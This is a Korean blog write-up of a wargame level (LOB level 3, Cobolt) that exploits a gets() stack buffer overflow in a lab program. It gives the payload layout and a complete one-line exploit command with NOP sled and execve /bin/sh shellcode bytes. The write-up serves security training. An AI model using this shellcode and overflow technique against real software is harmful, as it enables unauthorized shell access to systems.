IT 그리고 정보보안/Write-up

LOB Level 3 (Cobolt)

plummmm 2021. 4. 11. 16:55
반응형

먼저 goblin.c 를 열어보자.

level2에서는 argv로 인자를 받아 프로그램을 실행하는데, 이건 gets 함수를 이용하여 문자열 입력을 받는다.

뭐..마찬가지로 gets()도 문자열 길이 검사를 하지 않아 오버플로우 취약점이 존재한다.

 

그럼 뭐부터 해야할 까.. 인자로 받아서 하는 거나 마찬가지다. 입력값을 goblin으로 돌려주면된다.

이미 FTZ Level 12 에서 언급하였다.

일단 RET를 정해줘야 한다. 어디 올릴지 찾아보자.

 

아.. 버퍼가 16바이트 밖에 안된다.

level2에서 했던 방법 처럼 argv[2]에 넣어야 겠다.

 

페이로드를 구성해보자.

 

[buf]: nop 16 byte

[sfp]: nop 4 byte

[ret]: argv[2]의 주소 (0xbffffbdf)

+ nop 10만개 + shellcode

 

레벨2랑 다를게 없다. 다만 argv로 인자를 받는 이전 문제와 다르게 gets 함수로 문자열을 받으므로

출력을 돌려줘야 한다는 것.

 

페이로드는 아래와 같음. (bash2 로 바꾸는걸 잊지말자.)

(perl -e'print "\x90"x20,"\xdf\xfb\xff\xbf"';cat)|./goblin `perl -e 'print "\x90"x100000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

반응형

'IT 그리고 정보보안 > Write-up' 카테고리의 다른 글

LOB Level 6 (Wolfman)  (0) 2021.04.12
LOB Level 5 (Orc)  (0) 2021.04.12
LOB Level 4 (goblin)  (0) 2021.04.12
LOB Level 2 (Gremlin)  (0) 2021.04.11
LOB Level 1 (Gate)  (0) 2021.04.11